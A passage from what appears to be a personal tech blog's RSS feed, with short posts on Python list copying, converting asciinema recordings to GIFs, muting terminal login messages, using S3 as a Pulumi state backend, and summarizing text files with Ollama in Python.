</span></span><span class="line"><span class="cl"><span class="nb">print</span><span class="p">(</span><span class="sa">f</span><span class="s1">&#39;list_b address: </span><span class="si">{</span><span class="nb">id</span><span class="p">(</span><span class="n">list_b</span><span class="p">)</span><span class="si">}</span><span class="s1">&#39;</span><span class="p">)</span>
</span></span></code></pre></td></tr></table>
</blockquote><p>The program above outputs:</p>
<pre tabindex="0"><code>list_a address: 140264515620480
list_b address: 140264514892160
</code></pre><p>We can see the memory addresses are different (most obvious due to the ending digits).</p>
<h2 id="lists-containing-lists-dictionaries-and-sets">Lists Containing Lists, Dictionaries, and Sets</h2>
<p>If a list contains other lists, dictionaries, or sets, the <code>copy()</code> method won&rsquo;t work as expected. The nested lists/dictionaries/sets will still be shared between both lists.</p>
<p>In this scenario, we need to import the <code>copy</code> module and use <code>copy.deepcopy()</code> so that lists/dictionaries/sets inside a list are actually copied to another list.</p>
<div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt">1
</span><span class="lnt">2
</span><span class="lnt">3
</span><span class="lnt">4
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-python" data-lang="python"><span class="line"><span class="cl"><span class="kn">import</span> <span class="nn">copy</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="n">list_a</span> <span class="o">=</span> <span class="p">[[</span><span class="mi">1</span><span class="p">,</span> <span class="mi">2</span><span class="p">],</span> <span class="p">{</span><span class="s2">&#34;a&#34;</span><span class="p">:</span> <span class="mi">1</span><span class="p">},</span> <span class="p">{</span><span class="mi">1</span><span class="p">,</span> <span class="mi">2</span><span class="p">}]</span>
</span></span><span class="line"><span class="cl"><span class="n">list_b</span> <span class="o">=</span> <span class="n">copy</span><span class="o">.</span><span class="n">deepcopy</span><span class="p">(</span><span class="n">list_a</span><span class="p">)</span>
</span></span></code></pre></td></tr></table>
</blockquote><p>Although I&rsquo;ve been in the field for some time, I still have my smooth brain moments. This is a reminder to myself (and whoever reads this) to remember the basics!</p>
<h2 id="references">References</h2>
<ul>
<li>

<a href="https://www.geeksforgeeks.org/python/python-list-copy-method/" target="_blank" rel="noopener">https://www.geeksforgeeks.org/python/python-list-copy-method/</a></li>
<li>

<a href="https://www.geeksforgeeks.org/python/id-function-python/" target="_blank" rel="noopener">https://www.geeksforgeeks.org/python/id-function-python/</a></li>
</ul>
]]></content:encoded>
    </item>
    <item>
      <title>Creating High Quality GIFs from Asciinema Recordings</title>
      <link>https://nelson.cloud/creating-high-quality-gifs-from-asciinema-recordings/?ref=rss</link>
      <pubDate>Sat, 04 Oct 2025 00:00:00 +0000</pubDate>
      <guid>https://nelson.cloud/creating-high-quality-gifs-from-asciinema-recordings/?ref=rss</guid>
      <description>Use &lt;code&gt;agg&lt;/code&gt; with a huge font size to get high quality GIFs.</description><content:encoded><![CDATA[<p>Say you have a recording created with 

<a href="https://asciinema.org/" target="_blank" rel="noopener">Asciinema</a> named <code>recording.cast</code> and now you want to convert that into a GIF. You can use the <code>agg</code> command (which is a 

<a href="https://docs.asciinema.org/manual/agg/installation/" target="_blank" rel="noopener">separate installation</a>) to convert it like so:</p>
<pre tabindex="0"><code>agg recording.cast recording.gif
</code></pre><p>However, if you run <code>agg</code> with the default settings the resulting GIF won&rsquo;t be high quality and it&rsquo;ll look a little fuzzy.</p>
<p>To get a high quality GIF you need to specify a big font size with the <code>--font-size</code> option:</p>
<pre tabindex="0"><code>agg --font-size 64 recording.cast recording.gif
</code></pre><p>Here are two GIFs you can compare. The top one was created with the default <code>agg</code> settings. The bottom one was created with <code>--font-size 64</code>. Depending on your display, you may need to zoom in a bit to see the difference:</p>
<img src="/asciinema-high-quality-gifs/pulumi-up.gif" alt="fuzzy GIF created with default agg settings" width="720" height="474" style="max-width: 100%; height: auto; aspect-ratio: 772 / 509;" loading="lazy" decoding="async">
<img src="/asciinema-high-quality-gifs/pulumi-up-in-hd.gif" alt="higher quality GIF created with agg --font-size 64" width="720" height="475" style="max-width: 100%; height: auto; aspect-ratio: 3532 / 2329;" loading="lazy" decoding="async">
<p>It&rsquo;s a noticeable difference. The trade-off here is that the higher quality GIF will be a bigger filesize, so be mindful of that. Try experimenting with different font sizes.</p>
<p>I was expecting there to be some sort of <code>--size</code> or <code>--quality</code> option, but you just need to increase the font to get higher quality GIFs with <code>agg</code>.</p>
<h2 id="references">References</h2>
<ul>
<li>

<a href="https://docs.asciinema.org/manual/agg/" target="_blank" rel="noopener">https://docs.asciinema.org/manual/agg/</a></li>
<li>

<a href="https://docs.asciinema.org/manual/agg/installation/" target="_blank" rel="noopener">https://docs.asciinema.org/manual/agg/installation/</a></li>
<li>

<a href="https://docs.asciinema.org/manual/agg/usage/" target="_blank" rel="noopener">https://docs.asciinema.org/manual/agg/usage/</a></li>
</ul>
]]></content:encoded>
    </item>
    <item>
      <title>Quick Tip: Mute the Terminal Login Message with A .hushlogin File</title>
      <link>https://nelson.cloud/quick-tip-mute-the-terminal-login-message-with-a-.hushlogin-file/?ref=rss</link>
      <pubDate>Sun, 28 Sep 2025 00:00:00 +0000</pubDate>
      <guid>https://nelson.cloud/quick-tip-mute-the-terminal-login-message-with-a-.hushlogin-file/?ref=rss</guid>
      <description>Create a .hushlogin file in your home directory to silence login messages.</description><content:encoded><![CDATA[<p>Today I learned that you can create an empty <code>.hushlogin</code> file in your home directory on macOS and Linux to hide the login message you get when starting up a new terminal window or tab.</p>
<p>I tried this on macOS but it should work on Linux too.</p>
<p>For example, when I start up a new terminal window/tab I see the following message:</p>
<img src="/mute-terminal-login-message/before.webp" alt="terminal with login message" width="980" height="254" style="max-width: 100%; height: auto; aspect-ratio: 980 / 254;" loading="lazy" decoding="async">
<p>After I create the <code>.hushlogin</code> file in my home directory, the login message goes away. First I created the file:</p>
<pre tabindex="0"><code>touch ~/.hushlogin
</code></pre><p>Then I opened a new terminal window to verify that the message no longer shows up:</p>
<img src="/mute-terminal-login-message/after.webp" alt="terminal without login message after creating .hushlogin file" width="980" height="254" style="max-width: 100%; height: auto; aspect-ratio: 980 / 254;" loading="lazy" decoding="async">
<h2 id="references">References</h2>
<ul>
<li>

<a href="https://stackoverflow.com/questions/15769615/remove-last-login-message-for-new-tabs-in-terminal" target="_blank" rel="noopener">https://stackoverflow.com/questions/15769615/remove-last-login-message-for-new-tabs-in-terminal</a></li>
<li>

<a href="https://www.cyberciti.biz/howto/turn-off-the-login-banner-in-linux-unix-with-hushlogin-file/" target="_blank" rel="noopener">https://www.cyberciti.biz/howto/turn-off-the-login-banner-in-linux-unix-with-hushlogin-file/</a></li>
</ul>
]]></content:encoded>
    </item>
    <item>
      <title>How to Use an AWS S3 Bucket as a Pulumi State Backend</title>
      <link>https://nelson.cloud/how-to-use-an-aws-s3-bucket-as-a-pulumi-state-backend/?ref=rss</link>
      <pubDate>Sat, 20 Sep 2025 00:00:00 +0000</pubDate>
      <guid>https://nelson.cloud/how-to-use-an-aws-s3-bucket-as-a-pulumi-state-backend/?ref=rss</guid>
      <description>Self-host Pulumi state with an S3 Bucket, an IAM User, and the Pulumi CLI.</description><content:encoded><![CDATA[<p>I&rsquo;ll be starting from scratch and creating an IAM user with access to an S3 bucket that will be used to store the Pulumi state file. If you&rsquo;re working in an enterprise setting, your authentication methods may vary.</p>
<blockquote><p><strong>tl;dr:</strong></p><p>You can run this command (replacing placeholders as needed) if you already have an S3 bucket and AWS credentials configured on your machine:</p>
<div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt">1
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-sh" data-lang="sh"><span class="line"><span class="cl">pulumi login <span class="s1">&#39;s3://&lt;bucket-name&gt;?region=&lt;region&gt;&amp;awssdk=v2&amp;profile=&lt;aws-profile-name&gt;&#39;</span>
</span></span></code></pre></td></tr></table>
</blockquote>
</div>

<p>This post assumes you have the Pulumi CLI installed. Check out the following guide if you don&rsquo;t have it installed: 

<a href="https://www.pulumi.com/docs/iac/download-install/" target="_blank" rel="noopener">Download &amp; install Pulumi</a>.</p>
<h2 id="creating-an-s3-bucket">Creating an S3 Bucket</h2>
<p>First, we need to create the S3 bucket where the Pulumi state file will be stored. I created a bucket called <code>nelsons-pulumi-state-backend</code> and left all the default settings as-is.</p>
<img src="/pulumi-with-s3-backend/s3-bucket.webp" alt="S3 Bucket naming" width="720" height="391" style="max-width: 100%; height: auto; aspect-ratio: 1520 / 824;" loading="lazy" decoding="async">
<h2 id="creating-an-iam-user">Creating an IAM User</h2>
<p>Then we need to create an IAM user in AWS that the Pulumi CLI can use. This IAM user needs permissions to access the S3 bucket we just created.</p>
<p>I go to IAM and create a new user. I just called it <code>pulumi</code>:</p>
<img src="/pulumi-with-s3-backend/iam-user.webp" alt="Creating an IAM user" width="720" height="434" style="max-width: 100%; height: auto; aspect-ratio: 1500 / 904;" loading="lazy" decoding="async">
<p>Then in the next step, I selected &ldquo;Attach policies directly&rdquo; and selected the AWS-managed &ldquo;AdministratorAccess&rdquo; policy just to keep things simple. You can provide more fine-grained access depending on your needs. Then click &ldquo;Next&rdquo; at the bottom.</p>
<img src="/pulumi-with-s3-backend/iam-permissions.webp" alt="IAM permissions" width="720" height="418" style="max-width: 100%; height: auto; aspect-ratio: 1968 / 1144;" loading="lazy" decoding="async">
<p>In the next screen, double check everything and then click on &ldquo;Create user&rdquo;.</p>
<img src="/pulumi-with-s3-backend/iam-review.webp" alt="Reviewing IAM user" width="720" height="384" style="max-width: 100%; height: auto; aspect-ratio: 2540 / 1356;" loading="lazy" decoding="async">
<p>Now that we have a user with the appropriate permissions, we&rsquo;ll need to get an AWS access key and secret to use with the Pulumi CLI.</p>
<p>Go to your IAM user and click on &ldquo;Create access key&rdquo; on the right side.</p>
<img src="/pulumi-with-s3-backend/iam-user-view.webp" alt="The new IAM user" width="720" height="183" style="max-width: 100%; height: auto; aspect-ratio: 2348 / 596;" loading="lazy" decoding="async">
<p>In the next screen, select &ldquo;Command Line Interface (CLI)&rdquo;. Check the box at the bottom, then click &ldquo;Next&rdquo;.</p>
<img src="/pulumi-with-s3-backend/iam-access-key.webp" alt="Creating an access key" width="720" height="601" style="max-width: 100%; height: auto; aspect-ratio: 1836 / 1532;" loading="lazy" decoding="async">
<p>The next screen will ask for setting a description tag. This is optional. I chose to skip it and clicked on &ldquo;Create access key&rdquo;.</p>
<img src="/pulumi-with-s3-backend/iam-description-tag.webp" alt="Access key description tag" width="720" height="206" style="max-width: 100%; height: auto; aspect-ratio: 1820 / 520;" loading="lazy" decoding="async">
<p>We finally have our Access key and Secret access key. Save these somewhere safe and click &ldquo;Done&rdquo;. (Don&rsquo;t worry, the credentials in the screenshot are fake.)</p>
<img src="/pulumi-with-s3-backend/retrieve-access-keys.webp" alt="Retrieving AWS access keys" width="720" height="435" style="max-width: 100%; height: auto; aspect-ratio: 2244 / 1356;" loading="lazy" decoding="async">
<h2 id="setting-up-aws-credentials-for-the-pulumi-cli">Setting Up AWS Credentials for the Pulumi CLI</h2>
<p>Now we can try using these credentials to tell the Pulumi CLI to use the S3 bucket as a backend.</p>
<blockquote><p><strong>Note:</strong></p>Note that you do NOT need the 

<a href="https://aws.amazon.com/cli/" target="_blank" rel="noopener">AWS CLI</a> installed. Pulumi just needs the AWS credentials.</blockquote>

<p>Create the file <code>~/.aws/credentials</code> if you don&rsquo;t have it. Then add in your credentials there under the <code>[default]</code> profile. (You can add more profiles, but this is beyond the scope of this post.)</p>
<pre tabindex="0"><code>[default]
aws_access_key_id = &lt;key_id&gt;
aws_secret_access_key = &lt;access_key&gt;
</code></pre><p>You&rsquo;ll need the bucket&rsquo;s region and your local AWS profile name to use S3 as a backend.</p>
<p>The command formula looks like this:</p>
<div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt">1
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-sh" data-lang="sh"><span class="line"><span class="cl">pulumi login <span class="s1">&#39;s3://&lt;bucket-name&gt;?region=&lt;region&gt;&amp;awssdk=v2&amp;profile=&lt;aws-profile-name&gt;&#39;</span>
</span></span></code></pre></td></tr></table>
</blockquote><p>In my case, the command looks like this (make sure to edit for your needs):</p>
<div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt">1
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-sh" data-lang="sh"><span class="line"><span class="cl">pulumi login <span class="s1">&#39;s3://nelsons-pulumi-state-backend?region=us-west-1&amp;awssdk=v2&amp;profile=default&#39;</span>
</span></span></code></pre></td></tr></table>
</blockquote><p>A successful login shows the following message:</p>
<pre tabindex="0"><code>Logged in to 0x6E.local as nelson (s3://nelsons-pulumi-state-backend?region=us-west-1&amp;awssdk=v2&amp;profile=default)
</code></pre><p>Alternatively, you can add your backend to your <code>Pulumi.yaml</code> file. This is useful if you&rsquo;re working on multiple Pulumi projects that each have different backends. You won&rsquo;t need to run <code>pulumi login</code> all the time. Just add a <code>backend</code> key and a nested <code>url</code> key:</p>
<div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt">1
</span><span class="lnt">2
</span><span class="lnt">3
</span><span class="lnt">4
</span><span class="lnt">5
</span><span class="lnt">6
</span><span class="lnt">7
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-yaml" data-lang="yaml"><span class="line"><span class="cl"><span class="nt">name</span><span class="p">:</span><span class="w"> </span><span class="l">my-pulumi-project</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="nt">description</span><span class="p">:</span><span class="w"> </span><span class="l">a pulumi project for testing</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="nt">runtime</span><span class="p">:</span><span class="w"> </span><span class="l">nodejs</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="c"># add this section</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="nt">backend</span><span class="p">:</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">  </span><span class="nt">url</span><span class="p">:</span><span class="w"> </span><span class="l">s3://nelsons-pulumi-state-backend?region=us-west-1&amp;awssdk=v2&amp;profile=default</span><span class="w">
</span></span></span></code></pre></td></tr></table>
</blockquote><p>More information here: 

<a href="https://www.pulumi.com/docs/iac/concepts/projects/project-file/" target="_blank" rel="noopener">Pulumi project file reference</a>.</p>
<h2 id="testing-the-setup">Testing The Setup</h2>
<p>Finally, it&rsquo;s time to test this out.</p>
<p>To demonstrate, I created a simple Pulumi program by running:</p>
<div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt">1
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-sh" data-lang="sh"><span class="line"><span class="cl">pulumi new aws-python
</span></span></code></pre></td></tr></table>
</blockquote><p>You can choose whatever language you want though.</p>
<p>This is the main Pulumi code that is generated. It&rsquo;s code for creating an S3 bucket:</p>
<div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt"> 1
</span><span class="lnt"> 2
</span><span class="lnt"> 3
</span><span class="lnt"> 4
</span><span class="lnt"> 5
</span><span class="lnt"> 6
</span><span class="lnt"> 7
</span><span class="lnt"> 8
</span><span class="lnt"> 9
</span><span class="lnt">10
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-python" data-lang="python"><span class="line"><span class="cl"><span class="s2">&#34;&#34;&#34;An AWS Python Pulumi program&#34;&#34;&#34;</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="kn">import</span> <span class="nn">pulumi</span>
</span></span><span class="line"><span class="cl"><span class="kn">from</span> <span class="nn">pulumi_aws</span> <span class="kn">import</span> <span class="n">s3</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="c1"># Create an AWS resource (S3 Bucket)</span>
</span></span><span class="line"><span class="cl"><span class="n">bucket</span> <span class="o">=</span> <span class="n">s3</span><span class="o">.</span><span class="n">Bucket</span><span class="p">(</span><span class="s1">&#39;my-bucket&#39;</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="c1"># Export the name of the bucket</span>
</span></span><span class="line"><span class="cl"><span class="n">pulumi</span><span class="o">.</span><span class="n">export</span><span class="p">(</span><span class="s1">&#39;bucket_name&#39;</span><span class="p">,</span> <span class="n">bucket</span><span class="o">.</span><span class="n">id</span><span class="p">)</span>
</span></span></code></pre></td></tr></table>
</blockquote><p>Then I ran <code>pulumi up -y</code> and it worked!</p>
<img src="/pulumi-with-s3-backend/pulumi-up-y.gif" alt="terminal output when running pulumi up -y" width="720" height="475" style="max-width: 100%; height: auto; aspect-ratio: 3532 / 2329;" loading="lazy" decoding="async">
<p>And just to double check, I can see that my previously empty S3 bucket now has contents created by the Pulumi CLI:</p>
<img src="/pulumi-with-s3-backend/s3-bucket-with-contents.webp" alt="S3 Bucket with Pulumi state contents" width="720" height="274" style="max-width: 100%; height: auto; aspect-ratio: 2236 / 850;" loading="lazy" decoding="async">
<h2 id="references">References</h2>
<ul>
<li>

<a href="https://www.pulumi.com/docs/iac/download-install/" target="_blank" rel="noopener">https://www.pulumi.com/docs/iac/download-install/</a></li>
<li>

<a href="https://www.pulumi.com/registry/packages/aws/installation-configuration/" target="_blank" rel="noopener">https://www.pulumi.com/registry/packages/aws/installation-configuration/</a></li>
<li>

<a href="https://www.pulumi.com/docs/iac/concepts/state-and-backends/#aws-s3" target="_blank" rel="noopener">https://www.pulumi.com/docs/iac/concepts/state-and-backends/#aws-s3</a></li>
<li>

<a href="https://www.pulumi.com/docs/iac/concepts/projects/project-file/" target="_blank" rel="noopener">https://www.pulumi.com/docs/iac/concepts/projects/project-file/</a></li>
<li>

<a href="https://ashoksubburaj.medium.com/pulumi-with-aws-s3-as-backend-ac79533820f1" target="_blank" rel="noopener">https://ashoksubburaj.medium.com/pulumi-with-aws-s3-as-backend-ac79533820f1</a></li>
</ul>
]]></content:encoded>
    </item>
    <item>
      <title>Local Text Summarization With Ollama and Python Is Just String Manipulation</title>
      <link>https://nelson.cloud/local-text-summarization-with-ollama-and-python-is-just-string-manipulation/?ref=rss</link>
      <pubDate>Sun, 24 Aug 2025 00:00:00 +0000</pubDate>
      <guid>https://nelson.cloud/local-text-summarization-with-ollama-and-python-is-just-string-manipulation/?ref=rss</guid>
      <description>Generate a string with Python, pass it into Ollama, and you get a string in return. That&amp;rsquo;s it.</description><content:encoded><![CDATA[<p>I&rsquo;ve used LLMs before but through an interface (i.e. 

<a href="https://chatgpt.com/" target="_blank" rel="noopener">ChatGPT</a>, 

<a href="https://gemini.google.com/app" target="_blank" rel="noopener">Gemini</a>, etc) but when I was trying to run a LLM locally I was overthinking how it worked.</p>
<p>Basically, it comes down to this: You pass in a string, and you get a string in return. That&rsquo;s it.</p>
<p>So if we want to run a LLM locally using Python to summarize files, we build strings with Python and pass them into Ollama. If you want to read in files, open them in Python and concatenate the text with your prompt string. Then pass in the prompt string to Ollama.</p>
<p>Python is just a bridge between you and Ollama.</p>
<p>I&rsquo;ve included some basic examples. The examples assume you have Ollama installed locally.</p>
<h2 id="reading-a-single-file-into-ollama">Reading a Single File Into Ollama</h2>
<p>This is straightforward. Open a file and concatenate the text with a prompt which gets passed into Ollama:</p>
<div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt"> 1
</span><span class="lnt"> 2
</span><span class="lnt"> 3
</span><span class="lnt"> 4
</span><span class="lnt"> 5
</span><span class="lnt"> 6
</span><span class="lnt"> 7
</span><span class="lnt"> 8
</span><span class="lnt"> 9
</span><span class="lnt">10
</span><span class="lnt">11
</span><span class="lnt">12
</span><span class="lnt">13
</span><span class="lnt">14
</span><span class="lnt">15
</span><span class="lnt">16
</span><span class="lnt">17
</span><span class="lnt">18
</span><span class="lnt">19
</span><span class="lnt">20
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-python" data-lang="python"><span class="line"><span class="cl"><span class="kn">import</span> <span class="nn">ollama</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="c1"># open a single file</span>
</span></span><span class="line"><span class="cl"><span class="n">file</span> <span class="o">=</span> <span class="nb">open</span><span class="p">(</span><span class="s2">&#34;path/to/file.txt&#34;</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="c1"># read it and concatenate to the prompt</span>
</span></span><span class="line"><span class="cl"><span class="n">prompt</span> <span class="o">=</span> <span class="sa">f</span><span class="s1">&#39;Can you summarize this file for me? </span><span class="si">{</span><span class="n">file</span><span class="o">.</span><span class="n">read</span><span class="p">()</span><span class="si">}</span><span class="s1">&#39;</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="c1"># pass in the prompt to Ollama</span>
</span></span><span class="line"><span class="cl"><span class="n">response</span> <span class="o">=</span> <span class="n">ollama</span><span class="o">.</span><span class="n">chat</span><span class="p">(</span>
</span></span><span class="line"><span class="cl">    <span class="n">model</span><span class="o">=</span><span class="s1">&#39;gpt-oss:20b&#39;</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">    <span class="n">messages</span><span class="o">=</span><span class="p">[</span>
</span></span><span class="line"><span class="cl">        <span class="p">{</span>
</span></span><span class="line"><span class="cl">            <span class="s1">&#39;role&#39;</span><span class="p">:</span> <span class="s1">&#39;user&#39;</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">            <span class="s1">&#39;content&#39;</span><span class="p">:</span> <span class="n">prompt</span>
</span></span><span class="line"><span class="cl">        <span class="p">}</span>
</span></span><span class="line"><span class="cl">    <span class="p">]</span>
</span></span><span class="line"><span class="cl"><span class="p">)</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="nb">print</span><span class="p">(</span><span class="n">response</span><span class="o">.</span><span class="n">message</span><span class="p">[</span><span class="s1">&#39;content&#39;</span><span class="p">])</span>
</span></span></code></pre></td></tr></table>
</blockquote><h2 id="reading-multiple-files-into-ollama">Reading Multiple Files into Ollama</h2>
<p>If you want to pass in multiple files in one prompt, you have to read and concatenate the files into a string, which you then concatenate into the prompt itself.</p>
<div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt"> 1
</span><span class="lnt"> 2
</span><span class="lnt"> 3
</span><span class="lnt"> 4
</span><span class="lnt"> 5
</span><span class="lnt"> 6
</span><span class="lnt"> 7
</span><span class="lnt"> 8
</span><span class="lnt"> 9
</span><span class="lnt">10
</span><span class="lnt">11
</span><span class="lnt">12
</span><span class="lnt">13
</span><span class="lnt">14
</span><span class="lnt">15
</span><span class="lnt">16
</span><span class="lnt">17
</span><span class="lnt">18
</span><span class="lnt">19
</span><span class="lnt">20
</span><span class="lnt">21
</span><span class="lnt">22
</span><span class="lnt">23
</span><span class="lnt">24
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-python" data-lang="python"><span class="line"><span class="cl"><span class="kn">import</span> <span class="nn">ollama</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="c1"># open several textfiles</span>
</span></span><span class="line"><span class="cl"><span class="n">file</span> <span class="o">=</span> <span class="nb">open</span><span class="p">(</span><span class="s2">&#34;path/to/file.txt&#34;</span><span class="p">)</span>
</span></span><span class="line"><span class="cl"><span class="n">file2</span> <span class="o">=</span> <span class="nb">open</span><span class="p">(</span><span class="s2">&#34;path/to/file2.txt&#34;</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="c1"># concatenate the textfiles into a single string</span>
</span></span><span class="line"><span class="cl"><span class="nb">input</span> <span class="o">=</span> <span class="n">file</span><span class="o">.</span><span class="n">read</span><span class="p">()</span> <span class="o">+</span> <span class="n">file2</span><span class="o">.</span><span class="n">read</span><span class="p">()</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="c1"># concatenate into the prompt</span>
</span></span><span class="line"><span class="cl"><span class="n">prompt</span> <span class="o">=</span> <span class="sa">f</span><span class="s1">&#39;Can you summarize the following text for me? </span><span class="si">{</span><span class="nb">input</span><span class="si">}</span><span class="s1">&#39;</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="c1"># pass in the prompt to Ollama</span>
</span></span><span class="line"><span class="cl"><span class="n">response</span> <span class="o">=</span> <span class="n">ollama</span><span class="o">.</span><span class="n">chat</span><span class="p">(</span>
</span></span><span class="line"><span class="cl">    <span class="n">model</span><span class="o">=</span><span class="s1">&#39;gpt-oss:20b&#39;</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">    <span class="n">messages</span><span class="o">=</span><span class="p">[</span>
</span></span><span class="line"><span class="cl">        <span class="p">{</span>
</span></span><span class="line"><span class="cl">            <span class="s1">&#39;role&#39;</span><span class="p">:</span> <span class="s1">&#39;user&#39;</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">            <span class="s1">&#39;content&#39;</span><span class="p">:</span> <span class="n">prompt</span>
</span></span><span class="line"><span class="cl">        <span class="p">}</span>
</span></span><span class="line"><span class="cl">    <span class="p">]</span>
</span></span><span class="line"><span class="cl"><span class="p">)</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="nb">print</span><span class="p">(</span><span class="n">response</span><span class="o">.</span><span class="n">message</span><span class="p">[</span><span class="s1">&#39;content&#39;</span><span class="p">])</span>
</span></span></code></pre></td></tr></table>
</blockquote><h2 id="dealing-with-context-limits">Dealing with Context Limits</h2>
<p>If you want to read in multiple files but the files are huge, you may exceed the context limits of your model. You can still concatenate files/strings where possible but you can circumvent this by creating several chats. You&rsquo;re basically running the code more than once, which means you can use a loop.</p>
<div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt"> 1
</span><span class="lnt"> 2
</span><span class="lnt"> 3
</span><span class="lnt"> 4
</span><span class="lnt"> 5
</span><span class="lnt"> 6
</span><span class="lnt"> 7
</span><span class="lnt"> 8
</span><span class="lnt"> 9
</span><span class="lnt">10
</span><span class="lnt">11
</span><span class="lnt">12
</span><span class="lnt">13
</span><span class="lnt">14
</span><span class="lnt">15
</span><span class="lnt">16
</span><span class="lnt">17
</span><span class="lnt">18
</span><span class="lnt">19
</span><span class="lnt">20
</span><span class="lnt">21
</span><span class="lnt">22
</span><span class="lnt">23
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-python" data-lang="python"><span class="line"><span class="cl"><span class="kn">import</span> <span class="nn">ollama</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="c1"># open several textfiles and store them in a `files` list.</span>
</span></span><span class="line"><span class="cl"><span class="n">files</span> <span class="o">=</span> <span class="p">[]</span>
</span></span><span class="line"><span class="cl"><span class="n">files</span><span class="o">.</span><span class="n">append</span><span class="p">(</span><span class="nb">open</span><span class="p">(</span><span class="s2">&#34;path/to/file.txt&#34;</span><span class="p">))</span>
</span></span><span class="line"><span class="cl"><span class="n">files</span><span class="o">.</span><span class="n">append</span><span class="p">(</span><span class="nb">open</span><span class="p">(</span><span class="s2">&#34;path/to/file2.txt&#34;</span><span class="p">))</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="c1"># run a chat for each file in the list</span>
</span></span><span class="line"><span class="cl"><span class="k">for</span> <span class="n">file</span> <span class="ow">in</span> <span class="n">files</span><span class="p">:</span>
</span></span><span class="line"><span class="cl">    <span class="n">prompt</span> <span class="o">=</span> <span class="sa">f</span><span class="s1">&#39;Can you summarize the following text for me? </span><span class="si">{</span><span class="n">file</span><span class="o">.</span><span class="n">read</span><span class="p">()</span><span class="si">}</span><span class="s1">&#39;</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">    <span class="c1"># pass in the prompt to Ollama</span>
</span></span><span class="line"><span class="cl">    <span class="n">response</span> <span class="o">=</span> <span class="n">ollama</span><span class="o">.</span><span class="n">chat</span><span class="p">(</span>
</span></span><span class="line"><span class="cl">        <span class="n">model</span><span class="o">=</span><span class="s1">&#39;gpt-oss:20b&#39;</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">        <span class="n">messages</span><span class="o">=</span><span class="p">[</span>
</span></span><span class="line"><span class="cl">            <span class="p">{</span>
</span></span><span class="line"><span class="cl">                <span class="s1">&#39;role&#39;</span><span class="p">:</span> <span class="s1">&#39;user&#39;</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">                <span class="s1">&#39;content&#39;</span><span class="p">:</span> <span class="n">prompt</span>
</span></span><span class="line"><span class="cl">            <span class="p">}</span>
</span></span><span class="line"><span class="cl">        <span class="p">]</span>
</span></span><span class="line"><span class="cl">    <span class="p">)</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">    <span class="nb">print</span><span class="p">(</span><span class="n">response</span><span class="o">.</span><span class="n">message</span><span class="p">[</span><span class="s1">&#39;content&#39;</span><span class="p">])</span>
</span></span></code></pre></td></tr></table>
</blockquote><p>The code above gives us separate summaries. But what if we want a single summary of all the files involved and they each exceed context limits? We can create a summary of each file, then create a summary of the summaries! It&rsquo;s all string concatenation when you really think about it.</p>
